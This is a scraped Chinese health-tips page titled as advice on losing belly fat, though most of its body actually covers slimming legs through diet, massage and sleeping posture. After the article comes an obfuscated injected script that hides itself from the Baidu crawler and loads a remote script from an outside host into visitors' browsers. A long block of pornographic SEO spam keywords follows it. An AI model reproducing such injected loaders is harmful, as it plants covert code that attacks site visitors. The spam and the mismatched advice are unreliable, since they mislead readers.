當前位置:首頁 > 健康 > 運動健身 > 正文

瘦肚子上的肉有什么好的方法?

2017-04-16 11:06:10  來源:360常識網   熱度:
導語:肚子上的贅肉是最難減掉的,長期的積累下來導致我們肚子上的脂肪層變得很厚而且一圈一圈的。肚子上的贅肉會讓你的整個身材變得很難看,有時

肚子上的贅肉是最難減掉的,長期的積累下來導致我們肚子上的脂肪層變得很厚而且一圈一圈的。肚子上的贅肉會讓你的整個身材變得很難看,有時候連緊身衣服都沒法穿了。如何減掉腹部上的贅肉成了很多人心中的難題,今天就讓我們一起來學習關于瘦小腹的方法,希望能夠對大家有效。

用吃來減腿

1.維他命E幫助去除水腫 血液循環不好,就很容易引致腳部浮腫,含維他命E的食物,可幫助加速血液循環、預防腿部肌肉松弛等。含豐富維他命E的食物包括杏仁、花生、小麥胚芽等。

2.維他命B群加速新陳代謝 維他命B1可以將糖分轉化為能量,而B2則可以加速脂肪的新陳代謝,多吃維他命B豐富的食物,如冬菇、芝麻、豆腐、花生、菠菜等。

3.少吃鹽去水腫 經常吃多鹽的食物,容易令體內積存過多水分,形成水腫,容易積聚在小腿上。飲食除了要減少鹽的吸收外,也可多吃含鉀的食物,因鉀有助排出體內多余鹽分,含鉀的食物包括番茄、香蕉、薯仔、西芹等。

按摩

按摩是最直接最有效的腿部塑形方式,通過按摩刺激腿部的穴位,促進血液和淋巴循環,排出毒素、消除水腫,同時還可以通過刺激分布在雙腿上的重要穴位調整荷爾蒙分泌。據說現在有一種腿部按摩機,可以代替人工進行按摩,或許會方便一些。

睡覺

可能看到這個小標題覺得很有些不可思議哦,改變睡覺的一點小姿勢,也可以為小腿減負。方法就是在床尾用薄被稍稍墊高一層,讓雙腿的水平高度高于心臟就可以了。

大家都知道肚子上的肉是很難減掉的,所以想要減掉肚子上贅肉的朋友一定要有耐心了,否則你很難成功的哦。在瘦身期間一定要注重飲食的合理搭配,不要暴飲暴食,保持充足的睡眠,這樣才能有力氣與肉肉做對抗哦,你們說是嗎?

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品免费大片| 国产成人精品无人区一区| 国产色婷婷五月精品综合在线| 无码人妻精品一区二区三区99性| 亚洲精品乱码久久久久久自慰| 精品日韩二区三区精品视频| 少妇人妻偷人精品视频| 亚洲精品乱码久久久久久蜜桃 | 国产精品日韩专区| 999国产高清在线精品| 久久精品女人天堂AV麻| 国产精品资源在线观看| 好吊妞视频这里只有精品| 久久99热精品免费观看动漫| 国产精品小视频免费无限app| 人妻少妇精品无码专区动漫| 91精品国产综合久久青草| 奇米影视7777久久精品人人爽| 国产成人精品自线拍| 四虎国产精品永久在线无码| 91精品福利在线观看| 亚洲精品无码国产| 久久国产精品免费一区二区三区| 国产精品亚洲综合一区在线观看| 999久久久免费精品国产| 四虎成人精品永久免费AV| 最新国产乱人伦偷精品免费网站 | 97久久精品亚洲中文字幕无码 | 亚洲精品tv久久久久久久久 | 99热这里只有精品国产动漫| 亚洲精品国产精品乱码视色| 国产精品午夜福利在线无码| 少妇亚洲免费精品| 四虎永久在线精品免费观看地址| 成人区人妻精品一区二区不卡| 国产成人精品综合网站| 久久99精品久久久久久久不卡| 国产精品女同一区二区| 亚洲中文久久精品无码| 国产在线精品一区二区三区直播 | 拍国产乱人伦偷精品视频|